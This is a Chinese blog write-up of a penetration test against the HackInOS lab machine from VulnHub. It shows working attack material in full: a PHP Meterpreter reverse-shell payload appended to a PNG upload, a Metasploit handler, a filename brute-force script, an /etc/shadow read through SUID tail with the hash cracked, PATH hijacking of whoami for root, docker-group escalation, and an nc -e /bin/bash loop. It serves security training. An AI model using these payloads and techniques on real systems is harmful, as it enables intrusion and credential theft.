首发于独立博客:若水斋。
背景
HackInOS是来自VulnHub的渗透测试靶机,下载地址为https://www.vulnhub.com/entry/hackinos-1,295/#download ,下载下来的是一个OVA格式的虚拟机,可在VMware或VirtualBox中打开。虚拟机已设置DHCP,可自动获取IP。
本文较为完整地记录了我对其进行渗透的全过程,开始时间为2019年5月17日。
准备环境
首先下载靶机镜像,得到文件HackInOS.ova,大小为3.02G。然后在VirtualBox中导入它,观察其配置,发现只有一块虚拟网卡,修改其连接方式为桥接网络。在同一虚拟网络中还有一台IP地址是192.168.1.5的Kali Linux虚拟机(以下简称Kali)作为攻击者。
导入完成后开启HackInOS虚拟机,看到如下图所示的登录界面,说明环境准备完成。
在Kali中用Nmap扫描192.168.1.0/24网段,确定HackInOS的IP地址为192.168.1.6。由于是在模拟攻击,所以假装看不到上图所示的登录界面,不知道用户名是什么,也不能以Guest的身份登录。
信息收集
端口扫描
使用Nmap对目标IP 192.168.1.6进行TCP端口扫描,命令和输出为:
root@kali:~# nmap -Pn -n -sV 192.168.1.6
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-17 10:26 EDT
Nmap scan report for 192.168.1.6
Host is up (0.00013s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
8000/tcp open http Apache httpd 2.4.25 ((Debian))
MAC Address: 08:00:27:20:A9:BC (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.03 seconds
看到开放了22(SSH)和8000(HTTP)端口。
使用Nmap对目标IP 192.168.1.6进行UDP端口扫描,命令和输出为:
root@kali:~# nmap -Pn -n -sU 192.168.1.6
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-17 10:29 EDT
Nmap scan report for 192.168.1.6
Host is up (0.00074s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
68/udp open|filtered dhcpc
631/udp open|filtered ipp
5353/udp open|filtered zeroconf
MAC Address: 08:00:27:20:A9:BC (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 1093.07 seconds
没有什么很值得关注的东西。
Web信息收集
在Firefox访问http://192.168.1.6:8000/,看到如下图所示的页面,发现排版很混乱,显然是静态资源没有加载成功。
查看请求记录发现有许多发往localhost:8000的请求,于是在Firefox扩展Header Editor中设置一条规则,将发往localhost:8000的请求都重定向到192.168.1.6:8000,设置完成后再访问http://192.168.1.6:8000/,页面加载正常,如下图所示。
由Firefox扩展Wappalyzer,得知目标网站使用的CMS是WordPress 5.0.3。所以使用wpscan对其进行扫描,命令和输出如下。
root@kali:~# wpscan --url http://192.168.1.6:8000/ -e at -e ap -e u --wp-content-dir wp-content
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.4.3
Sponsored by Sucuri - https://sucuri.net
@_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________
[+] URL: http://192.168.1.6:8000/
[+] Started: Fri May 17 22:39:31 2019
Interesting Finding(s):
[+] http://192.168.1.6:8000/
| Interesting Entries:
| - Server: Apache/2.4.25 (Debian)
| - X-Powered-By: PHP/7.2.15
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] http://192.168.1.6:8000/robots.txt
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%
[+] http://192.168.1.6:8000/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
[+] http://192.168.1.6:8000/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] WordPress version 5.0.3 identified (Insecure, released on 2019-01-09).
| Detected By: Emoji Settings (Passive Detection)
| - http://192.168.1.6:8000/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.0.3'
| Confirmed By: Meta Generator (Passive Detection)
| - http://192.168.1.6:8000/, Match: 'WordPress 5.0.3'
|
| [!] 1 vulnerability identified:
|
| [!] Title: WordPress 3.9-5.1 - Comment Cross-Site Scripting (XSS)
| Fixed in: 5.04
| References:
| - https://wpvulndb.com/vulnerabilities/9230
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9787
| - https://github.com/WordPress/WordPress/commit/0292de60ec78c5a44956765189403654fe4d080b
| - https://wordpress.org/news/2019/03/wordpress-5-1-1-security-and-maintenance-release/
| - https://blog.ripstech.com/2019/wordpress-csrf-to-rce/
[i] The main theme could not be detected.
[+] Enumerating Users
Brute Forcing Author IDs - Time: 00:00:00 <================================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] handsome_container
| Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] Finished: Fri May 17 22:39:34 2019
[+] Requests Done: 2
[+] Cached Requests: 41
[+] Data Sent: 520 B
[+] Data Received: 4.954 KB
[+] Memory used: 4.07 MB
[+] Elapsed time: 00:00:02
从输出信息中看到robots.txt文件存在,访问该文件看到如下内容:
User-agent:*
Disallow:/upload.php
Disallow:/uploads
其中/upload.php很可疑,尝试访问它,看到如下图所示的页面,是一个没有权限验证的上传。
文件上传漏洞利用
首先查看http://192.168.1.6:8000/upload.php页面源码,看到一行值得关注的注释:
<!-- https://github.com/fatihhcelik/Vulnerable-Machine---Hint -->
访问注释里的URL:https://github.com/fatihhcelik/Vulnerable-Machine—Hint,找到了upload.php的源码,内容如下:
<!DOCTYPE html>
<html>
<body>
<div align="center">
<form action="" method="post" enctype="multipart/form-data">
<br>
<b>Select image : </b>
<input type="file" name="file" id="file" style="border: solid;">
<input type="submit" value="Submit" name="submit">
</form>
</div>
<?php
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
$rand_number = rand(1,100);
$target_dir = "uploads/";
$target_file = $target_dir . md5(basename($_FILES["file"]["name"].$rand_number));
$file_name = $target_dir . basename($_FILES["file"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($file_name,PATHINFO_EXTENSION));
$type = $_FILES["file"]["type"];
$check = getimagesize($_FILES["file"]["tmp_name"]);
if($check["mime"] == "image/png" || $check["mime"] == "image/gif"){
$uploadOk = 1;
}else{
$uploadOk = 0;
echo ":)";
}
if($uploadOk == 1){
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file.".".$imageFileType);
echo "File uploaded /uploads/?";
}
}
?>
</body>
</html>
这下可好,连源码都有了。阅读源码可知只允许上传PNG或GIF格式的图片,校验方式是校验文件内容(实际校验的是文件开头几个标志文件类型的字节,PNG格式为0x890x500x4E0x470x0D0x0A0x1A0x0A,GIF格式为GIF98,详情见参考文献1),没有校验文件后缀。通过校验的文件会保存在uploads目录中,有点麻烦的是文件名是一个随机生成的md5值,而后缀保持上传文件的后缀不变。
先生成一个Meterpreter后门:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.5 lport=4444 -f raw
生成的Payload如下:
/*<?php /**/ error_reporting(0); $ip = '192.168.1.5'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
把生成的Payload保存到文件backdoor.php中,然后随便找一张png图片crown.png,把backdoor.php附件到crown.png的后面。
cat backdoor.php >> crown.png
mv crown.png crown.php
这样便制作好了一个含有后门的图片。
然后打开Metasploit,进入exploit/multi/handler模块,设置Payload和监听主机、监听端口等参数。
root@kali:~# msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > set lhost 192.168.1.5
lhost => 192.168.1.5
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.5:4444
接着上传含有后门的图片,如下图所示。
上传成功后我们并不知道文件名,需要猜解。写一个简单的Python脚本如下:
import hashlib
import requests
for i in range(101):
file_name = hashlib.md5('crown.php'+str(i)).hexdigest()
r = requests.get('http://192.168.1.6:8000/uploads/{}.php'.format(file_name))
运行这个脚本,可以在Metasploit中看到反弹连接成功建立:
至此,我们获得了一个Meterpreter shell。运行getuid命令看看权限:
meterpreter > getuid
Server username: www-data (33)
果然只是一个很低权限的用户,需要提权。
提权
在Web目录中找到Wordpress的配置文件wp-config.php,看到了数据库连接信息:
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'wordpress');
/** MySQL database password */
define('DB_PASSWORD', 'wordpress');
/** MySQL hostname */
define('DB_HOST', 'db:3306');
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');
/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
用的是Mysql,而数据库主机是“db”。
还是先看一看系统信息:
meterpreter > sysinfo
Computer : 1afdd1f6b82c
OS : Linux 1afdd1f6b82c 4.15.0-50-generic #54~16.04.1-Ubuntu SMP Wed May 8 15:55:19 UTC 2019 x86_64
Meterpreter : php/linux
主机名为“1afdd1f6b82c”,看着像是在docker容器里,进一步确认;
meterpreter > run post/linux/gather/checkcontainer
[+] This appears to be a 'Docker' container
还真在docker里。就算是docker里也先提权吧。
先上传一个Linux提权信息收集脚本linuxprivchecker.py:
meterpreter > upload /root/Downloads/linuxprivchecker.py /tmp/linuxprivchecker.py
[*] uploading : /root/Downloads/linuxprivchecker.py -> /tmp/linuxprivchecker.py
[*] Uploaded -1.00 B of 24.71 KiB (-0.0%): /root/Downloads/linuxprivchecker.py -> /tmp/linuxprivchecker.py
[*] uploaded : /root/Downloads/linuxprivchecker.py -> /tmp/linuxprivchecker.py
然后运行这个脚本:
meterpreter > chmod 744 /tmp/linuxprivchecker.py
meterpreter > shell
Process 141 created.
Channel 10 created.
python /tmp/linuxprivchecker.py
这个脚本的输出很多,仔细阅读其输出,注意到tail被设置了SUID:
直接用tail读取shadow文件:
tail -c1G /etc/shadow
root:$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/:17951:0:99999:7:::
daemon:*:17931:0:99999:7:::
bin:*:17931:0:99999:7:::
sys:*:17931:0:99999:7:::
sync:*:17931:0:99999:7:::
games:*:17931:0:99999:7:::
man:*:17931:0:99999:7:::
lp:*:17931:0:99999:7:::
mail:*:17931:0:99999:7:::
news:*:17931:0:99999:7:::
uucp:*:17931:0:99999:7:::
proxy:*:17931:0:99999:7:::
www-data:*:17931:0:99999:7:::
backup:*:17931:0:99999:7:::
list:*:17931:0:99999:7:::
irc:*:17931:0:99999:7:::
gnats:*:17931:0:99999:7:::
nobody:*:17931:0:99999:7:::
_apt:*:17931:0:99999:7:::
成功拿到root用户密码的hash值。先把hash值保存到文件root.hash中,然后用hashcat破解它:
root@kali:~# hashcat -w 3 -a 0 -m 1800 -o root.out root.hash /usr/share/metasploit-framework/data/wordlists/common_roots.txt --force
使用的字典是Metasploit自带的通用字典。很走运,一小会就破解成功了:
查看破解结果:
root@kali:~# cat root.out
$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/:john
密码是john。如果我使用“John the ripper”来破解hash,这个结果就很好玩了。
但直接输入su root会提示“must be run from a terminal”,所以先用Python伪造一个终端(详情见参考文献2):
python -c "import pty;pty.spawn('/bin/bash');"
然后就可以切换为root用户了。
探索容器
按照惯例,查看/root中的flag,发现是一句提示:
cat /root/flag
Life consists of details..
按这句提示的意思,应该注意细节。所以查看/root中的隐藏文件:
ls -a
. .bash_history .mysql_history .port .wget-hsts
.. .bashrc .nano .profile flag
仔细查看每个文件的内容,最后发现,唯一值得注意的是.port文件,内容为:
cat .port
Listen to your friends..
7*
这是什么意思呢?Google “Listen to your friends..”发现是一首歌,第七句歌词为:
I bet you only listen to your friends
想了好久也没想出这和我们正在进行的活动有什么关系。
简单总结一下。我们拿到了一个root权限,但是是容器里的root,并不是目标系统真正的root权限。所以下一步自然就是逃逸了。然而我尝试了很多方法都没能成功,一时陷入到僵局中。
回过头来看看有什么遗漏。对了!还有个知道用户名和密码的数据库没有尝试。
先登录数据库看看:
mysql -h db -u wordpress -p wordpress
列出所有的表:
MySQL [wordpress]> show tables;
show tables;
+-----------------------+
| Tables_in_wordpress |
+-----------------------+
| host_ssh_cred |
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+-----------------------+
13 rows in set (0.00 sec)
意外地看到了一个名为“host_ssh_cred”的表。查看其内容:
MySQL [wordpress]> select * from host_ssh_cred;
select * from host_ssh_cred;
+-------------------+----------------------------------+
| id | pw |
+-------------------+----------------------------------+
| hummingbirdscyber | e10adc3949ba59abbe56e057f20f883e |
+-------------------+----------------------------------+
1 row in set (0.02 sec)
看到了一对用户名和密码,密码应该是某种hash值,数了下长度是32字符,推测是md5值,试了一下果然是,且明文为“123456”,真是个比“john”还弱的密码。
用这个用户名和密码登录目标系统的22端口,登录成功:
root@kali:~# ssh hummingbirdscyber@192.168.1.6
hummingbirdscyber@192.168.1.6's password:
Welcome to Ubuntu 16.04.5 LTS (GNU/Linux 4.15.0-50-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
119 packages can be updated.
0 updates are security updates.
New release '18.04.2 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Last login: Tue May 21 16:56:29 2019 from 192.168.1.5
hummingbirdscyber@vulnvm:~$
但显然“hummingbirdscyber”也是一个低权限账户,得再次提权。
再次提权
先看看设置了SUID的可执行文件:
ls -lh $(find / -perm -u=s -type f 2>/dev/null)
看到了十分奇怪的“/home/hummingbirdscyber/Desktop/a.out”。
尝试运行该程序,看到输出为“root”:
看来提权的希望就在于此了。具体要如何做呢?两个思路:
- 逆向a.out,搞清楚程序具体干了什么
- 寻找a.out的源文件,搞清楚程序具体干了什么
对这两个思路都进行了尝试,均没有成功。第一个思路失败是因为我不会逆向,第二个思路失败是因为确实不存在源文件。一时又陷入了僵局。
怎么办呢?注意到正常运行该程序输出的是“root”,见上一张图。而在调试时,程序输出的是“hummingbirdscyber”,如下图。这是因为调试程序时SUID没有生效。
这一行为让人联想到命令whoami,进一步猜测a.out内部调用了whoami,于是可以尝试一下命令劫持。
首先写一个自己的whoami命令,内容为运行一个shell:
#include <stdlib.h>
int main(void) {
system("/bin/bash -p");
return 0;
}
然后编译它得到可执行文件whoami:
hummingbirdscyber@vulnvm:~$ vi whoami.c
hummingbirdscyber@vulnvm:~$ gcc -o whoami whoami.c
hummingbirdscyber@vulnvm:~$ chmod +x whoami
接着查看搜索路径:
hummingbirdscyber@vulnvm:~$ echo $PATH
/home/hummingbirdscyber/bin:/home/hummingbirdscyber/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
意外地看到了:
/home/hummingbirdscyber/bin
简直就是为命令劫持大开方便之门。创建bin目录,将我们自己的whoami拷贝进去:
hummingbirdscyber@vulnvm:~$ mkdir bin
hummingbirdscyber@vulnvm:~$ mv whoami bin/
hummingbirdscyber@vulnvm:~$ which whoami
/home/hummingbirdscyber/bin/whoami
hummingbirdscyber@vulnvm:~$
完成命令劫持后再运行a.out,顺利拿到有root权限的shell:
终于看到了真正的flag,是一只蜂鸟的字符画:
后续
利用Docker提权
在hummingbirdscyber权限中输入id可以看到hummingbirdscyber用户属于docker组。
hummingbirdscyber@vulnvm:~$ id
uid=1000(hummingbirdscyber) gid=1000(hummingbirdscyber) groups=1000(hummingbirdscyber),4(adm),24(cdrom),30(dip),46(plugdev),113(lpadmin),128(sambashare),129(docker)
其实有docker权限就能读到/root中的文件了,利用docker run的-v参数,将/root挂载到容器中。
hummingbirdscyber@vulnvm:~$ docker run -it -v /root:/root ubuntu:latest /bin/bash
root@058d84179cfa:/# cat /root/flag
Congratulations!
Listen to your friends
查看root用户的进程,看到了一个有趣的进程:
root 3396 0.0 0.4 18376 2256 ? Ss 17:17 0:00 /bin/bash /etc/init.d/port.sh
root运行了/etc/init.d/port.sh,查看这个脚本的内容:
hummingbirdscyber@vulnvm:~$ cat /etc/init.d/port.sh
#!/bin/bash
docker exec brave_edison /etc/init.d/port.sh
hummingbirdscyber@vulnvm:~$
看到实际是在运行容器brave_edison中的/etc/init.d/port.sh。而容器中这个脚本的内容是什么呢?
hummingbirdscyber@vulnvm:~$ docker exec -it brave_edison /bin/bash
root@252fa8cb1646:/# cat /etc/init.d/port.sh
#!/bin/bash
while [ 1 ];do nc 1afdd1f6b82c 7777 -e /bin/bash;sleep 5;done
“1afdd1f6b82c”是我们最开始成功入侵的运行Web服务的容器主机名。看到这里,终于明白:
Listen to your friends..
7*
的含义了,“7*”是在暗示监听7777端口,在这个端口可以听到朋友的呼唤。